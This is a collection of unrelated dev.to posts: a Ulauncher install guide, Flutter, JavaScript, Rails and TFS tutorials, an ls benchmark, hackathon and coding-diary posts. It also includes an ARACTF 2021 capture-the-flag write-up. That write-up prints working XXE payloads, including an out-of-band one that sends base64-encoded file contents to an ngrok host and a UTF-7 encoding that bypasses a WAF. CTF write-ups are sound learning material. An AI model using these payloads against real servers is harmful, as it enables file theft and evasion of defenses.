teleren/devto huggingface dataset:
Aumente sua produtividade no Xubuntu com o Ulauncher
Tags: linux, ubuntu, productivity, braziliandevs
Published: 2021-03-22 17:21:38

![Logo](https://franciscochaves.com.br/assets/img/blog/2021/jan/logo-ulauncher.png)

Olá pessoal, hoje vamos conhecer um programa **Ulauncher**, que é um lançador de aplicativos, que permitirá melhorar a produtividade no sistema operacional **Xubuntu 18.04**.

Os _Launchers_ (lançadores) são utilizados para localizar e iniciar aplicativos, ajudam bastante o usuário, já que não precisará realizar vários cliques, basta apenas chamar o _Launcher_ com algumas teclas de atalhos, digita o nome do aplicativo desejado e pressionar a tecla `Enter` para inicializá-lo.

O **Ulauncher** possui algumas características:

- Pesquisa pelo nome do aplicativo, o Ulauncher entenderá o que você quis dizer;
- Lembra escolhas realizadas anteriores;
- Possui temas integrados, mas podem serem alterados utilizando [temas disponibilizados pela comunidade](https://gist.github.com/gornostal/02a232e6e560da7946c053555ced6cce);
- Possui atalhos e [extensões](https://ext.ulauncher.io/) personalizáveis; e
- Navegação de diretórios e por arquivos;

Acesse o site do projeto neste [link](https://ulauncher.io/):

![Site Ulauncher](https://franciscochaves.com.br/assets/img/blog/2021/jan/site-ulauncher.png)

Clique no ícone para realizar o _download_ do pacote `.deb`.

![Site Ulauncher opções download](https://franciscochaves.com.br/assets/img/blog/2021/jan/site-ulauncher-download.png)

Abra o terminal, navege até o arquivo, e utilize o comando abaixo para realizar a instalação:

```bash
sudo apt install ./ulauncher*.deb
```

Pesquise no menu de aplicativos e execute.

Agora ao pressionar as teclas `Ctrl + Space` podemos acessar o Ulauncher, digite o aplicativo que deseja executar, navegue pelo resultados com as setas direcionais e pressione a tecla `Enter`.

[Demonstração do Ulauncher](https://franciscochaves.com.br/assets/img/blog/2021/jan/ulauncher-demo.gif)

## Referências

Application launcher for Linux. **Ulauncher**. Disponível em: https://ulauncher.io. Acesso em: 04 jan. 2021.
Day 35
Tags: 100daysofcode, programming, javascript
Published: 2021-03-22 17:20:04

Day 35/100 of #100DaysOfCode

codewars | JavaScript Event Loop & its functions - JavaScript 

Hours coded: 1.9
Lines of code: 88
Keystrokes: 1752

via @software_hq's #vscode extension https://www.software.com/100-days-of-code
🦋Flutter - Singleton Pattern
Tags: flutter, dart, pattern, bestpractices
Published: 2021-03-22 17:19:30

The Singleton pattern is a frequently used pattern in object-oriented programming languages. **It is one of the most frequently used programming patterns.**

> In this post I will show you when the Singleton Pattern is useful for you and how you can integrate it into your Flutter project.

---

##The purpose
The Singleton pattern makes it in object-oriented programming languages possible to use an object of a class in different contexts, without passing it on with function calls constantly. Inversely said it prevents the creation of several objects of a class.
The Singleton Pattern is used to control the object creation and usage of a class dynamically at runtime. It is mostly used when tasks are used frequently and in different parts of an application.

##The implementation
Following the Singleton pattern, a class 'MySingletonClass' should manage an object '_instance' and return this object instance when it is created. This is implemented as follows:

``` dart
class MySingletonClass {

  static final MySingletonClass _instance = 
    MySingletonClass ._internal();

  // passes the instantiation to the _instance object
  factory MySingletonClass() => _instance;

}
```

The _internal method can be used to initialize variables:
``` dart
class MySingletonClass {

  [...]

  //initialize variables in here
  MySingletonClass._internal() {
    //_myVariable has to be defined before
    _myVariable = 0;
  }
}
```

The singleton-class is now finished and can be implemented. To use it in an existing widget, we get the instance object of the class just as we would create a new instance. This is usually done within a 'State<>' object:
``` dart
class _MyHomePageState extends State<MyHomePage> {
  MySingletonClass _mySingletonClass = MySingletonClass();

  [...]
}
```

##Comments
Even if the Singleton pattern seems to be useful, it should not be applied everywhere, otherwise the program code can become dirty and become more like procedurally generated code.

Thanks for reading. If you have any comments or questions, **feel free to leave a comment**.

Feel free to follow my [profile](https://dev.to/lucianojung) if you want to learn more practical tips about Flutter.
Also feel free to visit my [Github profile](https://github.com/login?return_to=%2Flucianojung) to learn more about my current OpenSource projects.

------
🥳**Thanks for over 1000 readers!**🎉
[Buy me a sushi roll](https://www.buymeacoffee.com/lucianojung) if you like to support this kind of content.

------

### You may also like


{% link https://dev.to/lucianojung/flutter-manage-widget-permissions-ifb %}

{% link https://dev.to/lucianojung/global-variable-access-in-flutter-3ijm %}
Summarizing Namaste 🙏 JavaScript EP09,10,11,12,13(Block scope and Closures)
Tags: javascript, closure, help, namastejs
Published: 2021-03-22 17:03:54

Thank you Akshay Saini for this beautiful series. Just summarizing your lessons for whenever I need a quick recap. Same for others. Hope it helps.

###What is block in Js?
A block is used to combine multiple statements together.
Example--> If there is one statement,
if(true) console.log('true');
If you want multiple statements, then you need a block.
if(true){
const a = 5;
const b = 6;
console.log(a+b);
}
**Also known as Compound statements**

###What is block scope?
When a variable is only accessible in its block scope.
Example--> 
if(true){
let a = 21;
const b = 212;
var c = 8;
}
 **a** and **b** are block scoped which means you can't access them outside this block.
**let and const are block scoped whereas var is not.**

##Closure

A closure is an inner function that has access to the outer (enclosing) function’s variables—**scope chain**.

The closure has **three** scope chains: it has access to its own scope (variables defined between its curly brackets), 
it has access to the outer function’s variables, 
and it has access to the global variables.

The inner function has access not only to the outer function’s variables, but also to the outer function’s parameters. 
**A function along with its lexical scope forms a closure**

function greeting() {
    var message = 'Hi';
    function sayHi() {
        alert(message);
    }
    return sayHi;
}
var hi = greeting();
hi();          //alerts Hi

See above example.
**Normally, message variable  only exists during the execution context of greeting() which means after successful execution of greeting() in second last line, its execution context is destroyed , so does message variable.**
Message var is no longer accessible. But, when we call hi(), it alerts Hi. Message var is still accessible.
This is the magic of closure.
**sayHi() forms a closure with its lexical scope**

**A closure consists of two parts: a function and the ability to remember its lexical scope even when that function executes outside its lexical scope.**

###Difference between Function statement and expression?
Major difference--> Function statements are hoisted while function expressions are not.
A ProseMirror toolkit for building a CMS in React
Tags: react, javascript, github
Published: 2021-03-22 17:01:00

remirror was started as a personal challenge. Would it be possible to build an editor that combined excellent performance with ease of use? It was also essential to give users of all frameworks the ability to create an editor by picking and choosing their desired building blocks.

remirror was started as a personal challenge. Would it be possible to build an editor that combined great performance with ease of use? It was also important to give users of all frameworks the ability to build an editor by picking and choosing their desired building blocks.

{% github https://github.com/remirror/remirror %}

## Demo

In the last year, Ifiok has focused on building elegant developer experiences with CMS's. Watch this interview to see this project in action and learn how we could secure enough sponsorship to work on this problem full time.  

{% youtube JBZKdxjvVHw %}

## Open Source Fridays

Come along to our Open Source Friday live streams. We go live on the [GitHub Twitch Channel](https://github.community/t/attended-making-twitch-bots-that-talk-to-the-github-api-let-s-chat/159453/2) most Fridays. Join the [Meetup Group](https://www.meetup.com/GitHub-Virtual-Meetup/) to stay up to date and see the topics each week.
How to install and use TFS in Atelier
Published: 2021-03-22 16:54:47

Hi,
This is a quick tutorial how to install and use TFS in Atelier. It is based on my self experience and some tricks that I 've noted.

If you are used to using visual studio maybe you feel that is a bit slow and heavy, but you have the same TFS panel as you have in Visual Studio, so don't need any special "training" to use it :)

It's important don't store the file **.buildpath** because it has the server definition that&nbsp;you are working in a team, each one have the personal configuration, so the name of the server could be different.
To prevent it, create a file called **.tfignore** with this content
```
# Add the files to ignore in TFS and folders
.buildpath
```
It's important to differenciate the workspace of TFS and the workspace of Atelier, it could be different. The first one is where the files will be stored in your computer from TFS, and the second one is where you store your Ensemble projects, only the definition.
I hope this tutorial could be helpful for anyone. If so, leave your comment and rate this article.

Now, I going to explain how to install and use TFS pluging

### To install TFS plugin
* Open Atelier
* Select Help - Install new Software
* In this window "Available Software", press "Add" in "Work with"

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/n8wltjonngfrzr8y448m.jpg)

* Add the new repository, Add a name and location "http://dl.microsoft.com/eclipse/tfs", then press Ok

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yjycnw4e9mt1tggngjw1.jpg)

* select the repository and press "Ok"

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kal1w4eg33ws2oju5hu3.jpg)

* Accept licenses to use and press "Finish"
* Close Atelier to apply the changes

### To use TFS in Atelier
* Select Team Foundation Server Exploring perspective

<p>![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q2dczhwcxtxcb83n3pql.jpg)

* Select you TFS Server (a plug icon)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1xoltu6olcngq4ixz969.jpg)

* And select your project&nbsp;

### Import a project from TFS

* From Workspace. select "Import" option and select "Projects From Team Foundation Server"

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y4ifcrsifq4jw9us6agg.jpg)

* Select your project to import

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/khe91zq8nlmweoeloyqb.jpg)

* The first time (if you haven't stored the **.buildpath** file in TFS), it asks you about the Ensemble server that you are using (change connection)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/48xk1bsf8arvli94e760.jpg)
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0molpf8keajqoyybv1ds.jpg)

* Then syncronize your project with server
Introducing the Rails class_names method
Tags: rails, ruby, webdev
Published: 2021-03-22 16:43:11

New to Rails 6.1 is a method called `class_names`, from the `ActionView::Helpers::TagHelper` module. This handy new view helper brings one of may favorite features from Vue.js to Rails.

In Vue.js (or React via the classnames library) we can do something like this:
```vue
<div class="{item: true, item__complete: item.complete, item__over_due: !item.complete && item.overDue }">
  {{ item.name }}
</div>
```
Which, assuming we have the proper css classes and item object, will give us something like this:
```html
<!-- item.complete == false -->
<div class="item">Incomplete Item</div>

<!-- item.complete == false && item.overDue == true -->
<div class="item item__over_due">Incomplete Item</div>

<!-- item.complete == true && item.overDue == true -->
<div class="item item__complete">Complete Item</div>
```
Obviously this is an overly simplified example but you get the idea. To do the same thing in Rails used to require something like this:
```html
<%= tag.div class: "item #{item.completed? ? 'item__complete' : ''} #{!item.completed? && item.over_due? ? 'item__over_due' : ''}" do %>
  <%= item.name %>
<% end %>
```
However, the introduction of `class_names` simplifies this and makes it work _very_ similarly to Vue. Now we can do something like this:
```erb
<%= tag.div class: class_names(item: true, item__complete: item.completed?, item__over_due: !item.completed? && item.over_due?) do %>
  <%= item.name %>
<% end %>
```

Additionally, `class_names` can take mixed argument types so the above could also be done as:
```erb
<%= tag.div class: class_names("item", { item__complete: item.completed?, item__over_due: !item.completed? && item.over_due? }) do %>
  <%= item.name %>
<% end %>
```

**NOTE:** The above example explicitly calls `class_names` for illustrative purposes. The `tag` (and `content_tag`) method uses `class_names` under the hood already so the above can actually be done like this:
```erb
<%= tag.div class: ["item", { item__complete: item.completed?, item__over_due: !item.completed? && item.over_due? }] do %>
  <%= item.name %>
<% end %>
```

I like this **a lot** and it will make building more complex conditional css class lists in Rails so much easier and cleaner. `class_names` is an alias of `token list` and you can view its documentation [here](https://api.rubyonrails.org/classes/ActionView/Helpers/TagHelper.html#method-i-token_list).
What the hack???🐱‍💻🐱‍💻
Tags: beginners, computerscience, showdev
Published: 2021-03-22 16:37:47

We already know that it is **hacking** time 🥳 and by hacking I don't mean to *hack the systems and other stuffs* 😂. What it basically means is that ***we solve a current life problem.***

For that we have **"HACK THE SOLUTION"** | **GOOGLE SOLUTION CHALLENGE** a 36 hours virtual hackathon organized by **DSC MAIT**.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7g5oipzg31fmddvevlu7.png)

--------------
# What is Google Solution Challenge?👀

The Google Solution Challenge is to solve one or more than one problems of **United Nations 17 Sustainable Development Goals** using Google Technologies.

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/3wydpt4g6tc210huremp.png)

In **2015**, United Nations created these **17 SDGs** and aimed to achieve them by **2030**.These 17 SDGs have been agreed upon by all **193 United Nations Member States** and it aims to end ***poverty, ensure prosperity, and protect the planet.***

-------------

# Hack the Solution 👨‍💻

**Google Developers Club(DSC)** of **MAIT** is organizing [Hack the Solution](https://hackthesolution.tech/).

**Hack the Solution** is more than a hackathon in which we will be accompanied by **mentors who let us explore the different domains and solve the problems and build a better future ahead**.

It will be great fun to see different ideas and other participants solving a problem and applying different technologies.

I will be a great **experience**.🎊🥳

----------------

# Solution 💡

Though there are 17 very brilliant problems I am keen in solving problems that include :

* No poverty
* Peace, Justice and Strong Institutions
* Sustainable Cities and Communities

Poverty has been an international issue all across the world which is increasing day by day, and I am very interested in solving this problem.

The real meaning of peace, justice and strong institutions has been degrading in the recent years and humanity as we think is loosing day by day and its high time that we inculcate morality in a human beings and solve this problem for better future ahead.

The cities we know are no longer a reside able place in which you cannot even breathe properly, that's why this problem fascinates me to solve it and design cities which are sustainable enough for the future to be safe and sound. 
 
-----------

At last **happy coding everyone!**👨‍💻
ls
Tags: discuss, linux
Published: 2021-03-22 16:24:23

Idk how often that happens to you, but for me at work I have some folders with many thousands files in them, and sometimes I repeat my old mistake and try to `ls` in such a directory, to be met with a terminal freeze, which - depending on the folder size - is either for just 10 seconds, or pretty much forever, until I manage to stop it with `ctrl-c`.

I decided to benchmark `ls` against `cat` with a matching number of files / lines of text.
I understand that such a comparison is not fair - `cat` doesn't have to deal with the file system all that much. 

Now, a few words on possible reasons for `ls` being slow. One is the need to load some spread-out data into RAM. This can hopefully be mitigated by warm-up runs when benchmarking.
Another two issues I found when googling for "why is `ls` slow": usually `ls` tabulates the output, which is a costly process; and also `ls` colors the output, meaning one has to request info on permissions on all the files one encounters to chose the right colors. To avoid those issues one can benchmark `ls <dir> | cat`, which just prints files/dirs one per line.

With that in mind, here is some data:

|#files/lines|`cat` time[ms]| `ls` time[ms]|
|:---|---:|---:|
|20K|0.9 ± 0.4 |38.2 ± 3.9 |
|40K|1.4 ± 0.3 |79.9 ± 7.3 |
|60K|1.5 ± 0.4 |131.5 ± 11.6 |
|80K|1.5 ± 0.2 |172.0 ± 6.6 |

At the very least the growth seems to be linear. Also, here one sees the times about one fifth of a seconds at most, while I was talking about 10 seconds before. There are two reasons for this. First, at work I got some special remotely mounted drive; so operating it takes extra time. Second, for my benchmark I used empty files. Turns out file size actually affects speed of `ls`. For example if instead of creating empty files I write into each one 10K characters, I get the following table:

|#files| `ls` time[ms]|
|:---|---:|
|20K|42.7 ± 3.5 |
|40K|90.9 ± 2.6 |
|60K|153.3 ± 10.1 |
|80K|214.3 ± 37.4 |

The funniest part is that these new results are kinda inconsistent, even though I do warm-up runs. Oh well :shrug:

Conclusion - I got no clue how linux filesystem works, however, from a user perspective, this experiment makes me wonder if `ls` could be faster...
Web Exploitation - Final ARACTF 2021 Write Up
Published: 2021-03-22 16:20:48

---
title: Web Exploitation - Final ARACTF 2021 Write Up
published: true
description: Web Exploitation - Write up final ARACTF 2021 from team yah, namanya juga  O R A N G  N G E H A C C
tags: 
//cover_image: https://direct_url_to_image.jpg
---

# Under Development
Website ini sesuai judulnya jadi belum layak untuk dionlinekan ( ͡◉ ͜ʖ ͡◉)

Hint: Do you know about encoding format? How many? If you do let's wrap this challenge

## Technical Report
When opening the website suddenly the page is redirected to login.php which is a fake form
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/u5dbm8qo0ljksfuutlb8.png)
so in this case, I use `burpsuite` to see what's the content of the index.php
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5tojjrowrx3t63qx0a8n.png)
There's an interesting javascript function called `sendmessage` that sends xml to `/send.php`. The payload should look like this
```xml
<?xml version="1.0"?>
<root>
	<name>yudi</name>
	<email>test@test.com</email>
	<message>hello world!</message>
</root>
```
I also found another interesting link to `mybest.php`
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p3iormc7iwris1do4ov0.png)
In that page (mybest.php), I found another hint says `/flag.txt`
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/p7o8i5v9fzagxcm3zhha.png)

So I guess the xml thing that we see earlier can be used to retrieve file `/flag.txt`. let's try it using `insomnia` with this payload
```xml
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY test SYSTEM 'file:///flag.txt'>]>
<root>&test;</root>
```
result:
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/68iol6q58k03ew5cwp8l.png)
 
But, there's another issue:
1. I got no output (it's blind)
2. WAF reject `!DOCTYPE` `!ENTITY` `!ELEMENT` `file://` and `.php`

Then I try the out-of-band (OOB) attack method to load a remote resource. 
The payload:
```xml
<!DOCTYPE root [
<!ELEMENT root ANY >
<!ENTITY % flag SYSTEM "http://075a05cf94ed.ngrok.io/dtd.xml">
%flag;
%all;
]>
<root>&send;</root>
```
dtd.xml
```xml
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://075a05cf94ed.ngrok.io/%file;'>">
```

then I encoded all the payload to UTF-7 to bypass the WAF. 
The final payload:
```xml
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-DOCTYPE root +AFs
+ADwAIQ-ELEMENT root ANY +AD4
+ADwAIQ-ENTITY +ACU flag SYSTEM +ACI-http://075a05cf94ed.ngrok.io/dtd.xml+ACIAPg
+ACU-flag+ADs
+ACU-all+ADs
+AF0APg
+ADw-root+AD4AJg-send+ADsAPA-/root+AD4
```
dtd.xml
```xml
<?xml version="1.0" encoding="utf-7"?>
+ADwAIQ-ENTITY +ACU file SYSTEM +ACI-php://filter/convert.base64-encode/resource=/flag.txt+ACIAPg
+ADwAIQ-ENTITY +ACU all +ACIAPAAh-ENTITY send SYSTEM 'http://075a05cf94ed.ngrok.io/+ACU-file+ADs'+AD4AIgA+
```
result:
![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2b8nfegx3av61b6xnb7e.png)

![Alt Text](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/km3bruqzfcaz5xq9x2mq.png)

FLAG: ara2021{ezzz_pz_lemon_sqzzzz}
Day 83 Of 100DaysOfCode: Introduction to Data Science In Python
Tags: womenintech, 100daysofcode, codenewbie, beginners
Published: 2021-03-22 16:09:56

Today is my 83th day of #100daysofcode and #python learning journey. Like usual day today also keep learn from Datacamp. Completed some assignment there. Studied some articles on dev.to

Some hours of the day I gave to my project. 
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Day 83 Of <a href="https://twitter.com/hashtag/100DaysOfCode?src=hash&amp;ref_src=twsrc%5Etfw">#100DaysOfCode</a> and <a href="https://twitter.com/hashtag/Python?src=hash&amp;ref_src=twsrc%5Etfw">#Python</a> <br>Introduction To Data Science In Python From [DataCamp](<a href="https://t.co/1XYdeMFW6N">https://t.co/1XYdeMFW6N</a>)<a href="https://twitter.com/hashtag/WomenWhoCode?src=hash&amp;ref_src=twsrc%5Etfw">#WomenWhoCode</a> <a href="https://twitter.com/hashtag/100DaysOfCode?src=hash&amp;ref_src=twsrc%5Etfw">#100DaysOfCode</a> <a href="https://twitter.com/hashtag/CodeNewbie?src=hash&amp;ref_src=twsrc%5Etfw">#CodeNewbie</a> <a href="https://twitter.com/hashtag/DEVCommunity?src=hash&amp;ref_src=twsrc%5Etfw">#DEVCommunity</a> <a href="https://t.co/05ULRDqwzs">pic.twitter.com/05ULRDqwzs</a></p>&mdash; Durga Pokharel (@mathdurga) <a href="https://twitter.com/mathdurga/status/1374028456242024452?ref_src=twsrc%5Etfw">March 22, 2021</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>